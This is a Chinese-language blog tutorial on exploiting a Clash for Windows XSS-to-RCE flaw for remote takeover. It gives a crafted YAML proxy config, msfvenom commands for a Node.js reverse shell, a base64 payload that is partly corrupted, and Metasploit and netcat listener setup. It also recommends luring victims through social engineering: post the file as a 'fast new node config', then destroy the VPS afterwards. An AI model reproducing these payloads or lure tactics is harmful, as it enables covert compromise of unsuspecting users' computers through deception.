Clash RCE漏洞复现与高级利用(配合一点社工)
0x00 漏洞概述
大约在2月25日吧,还是24号晚上来着,Clash爆出了一个漏洞,XSS引发的命令执行。https://github.com/Fndroid/clash_for_windows_pkg
于是在网上看到的都是一个打开计算器的复现方法,这算哪门子的漏洞利用???不得不承认,大多数安全测试人员为了发布第一手信息,在自己还没有真正搞明白的情况下,就开始博取眼球,真心反感这种行为。想要做hacker,请耐得住寂寞,请眼中仅有目标而非路过的花花草草。
为此在这里做了一个漏洞利用,即扩大危害的复现——利用Clash RCE上线。本文参考保哥大神的操作,特此声明!
0x01 影响范围
Clash windows 0.19.08以下,目前已经更新了,安装0.19.10即可

0x02 POC与原理分析
典型的XSS payload ——img标签配合onerror事件,调用一个系统命令eval函数,执行了calc.exe
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name:
type: select
proxies:
- a
0x03 漏洞复现与利用
基本复现
我觉着像网上别人那样简单的复现,仅仅弹一个计算器,那是真复现。
也就是知道仅仅知道存在个漏洞,拿别人的POC直接打了一遍。但还是没有利用上。怎么利用这个漏洞扩大危害甚至让对方上线,这就需要一定的研究了。

高级复现利用——先来学几个小知识点
这几个知识点,可能大多数人并不了解,需要大量的各方面开发经验,当然开发不要做那么深入,大致了解,至少能看懂这是干啥的,这是什么框架编写的即可。渗透测试,必须要有开发基础,而开发基础是需要长时间地深入研究与学习的。
1、Clash这款软件是基于electron开发的,底层用的是node.js。
2、details标签与ontoggle事件
当 元素在打开或关闭时执行 JavaScript:
3、atob方法与btoa方法
atob() ————————————> 解码 base-64 编码的字符串。
btoa() ————————————> 编码 base-64 。
这不就是和Go语言的ItoA一样嘛,atob()就是ascii to base64,反之亦然
4、MSFvenom可以搜索payload
msfvenom --list payload | grep windows/x64

5、MSF生成上线payload
基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload
msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js

6、将payload复制下来,然后base64加密即可
IChmdW5jdGlvbigpeyB2YXIgcmVxdWlyZSA9IGdsb2JhbC5yZXF1aXJlIHx8IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUuY29uc3RydWN0b3IuX2xvYWQ7IGlmICghcmVxdWlyZSkgcmV0dXJuOyB2YXIgY21kID0gKGdsb2JhbC5wcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luL2kpKSA/ICJjbWQiIDogIi9iaW4vc2giOyB2YXIgbmV0ID0gcmVxdWlyZSgibmV0IiksIGNwID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLCB1dGlsID0gcmVxdWlyZSgidXRpbCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50Ihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCA9PT0gInVuZGVmaW5lZCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7
0x04 漏洞利用——构造payload以及上线
前面的知识点分析看完后,对这里面的关键代码就能看懂了吧。那么前面和后面的其他代码是什么意思呢?
其实就是代理文件yaml而已,可以多加一些用于社工,欺骗别人,顶级社工。
而且这里也涉及到文件上传的思想,有时候你使用一句话上传根本就无法解析和链接蚁剑,但是随便加100行垃圾字符,什么都可以,反而连接上了。
这可能就是图片文件大小过于小触发了流量监控或者代码层waf导致上传失败。这里同理,既可以达到混淆,欺骗用户的效果,也可以增加容错率。
proxies:
- { name: ????大宽带预留, type: ss, server: xxxxxx.tpxx.top, port: 11901, cipher: chacxxy1305, password: cdx2cxx91b, udp: true }
...
...
...
-
name:
type: select
proxies:
- 蜂c
- autoselect
rules:
- 'DOMAIN,asdadsa.asdasd.asd.top,DIRECT'
....
....
....
1、将构造好的payload保存到文件里面,如蜂巢.yaml,放入公网VPS上,美其名曰:最新配置文件,节点更新,速度快,什么NEWX CLASS各种扯就完事儿了,就是顶级社工诱导别人下载:


2、受害者下载后,导入这个文件

3、公网VPS上的MSF开启监听,由于是ubuntu,别忘了ufw allow 65500允许端口开放。
经过我多次的测试,各种开启监听的方式都试过了,但是回来的session都很容易断掉。原因其实很简单,就是火绒拦截了。。
handler -H 0.0.0.0 -P 65500 -p php/meterpreter/reverse_tcp
#############################################################
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
#############################################################
nc -lvvp 65500

其实尽管火绒拦截,在这里随便点击多次,就会发现成功了。只不过很不稳定,刚收到,可能就会直接断掉了。



好了,关了火绒就完全OK了

销毁VPS,跑路

0x05 总结
1、只要是基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload和对应的监听方法
msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js
################################################################################
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost
set lport
2、火绒yyds,其实可以做一个免杀来绕过火绒的,但是这里我就暂时不研究了。
3、在研究如何让对方上线,其实最关键的就是对Clash这款软件开发的认知。所以做渗透测试,没有开发基础是不行的,不求你开发多么多么强,但是至少要认识,并且能够通过已知的知识联想到相关渗透操作,这是需要时间的经验的积累,以及平时知识广度的不断发散的。或许这就是武林高手的内功吧,就算有了独孤九剑,内功不够,也不能做到手中无剑而心中有剑的最高境界。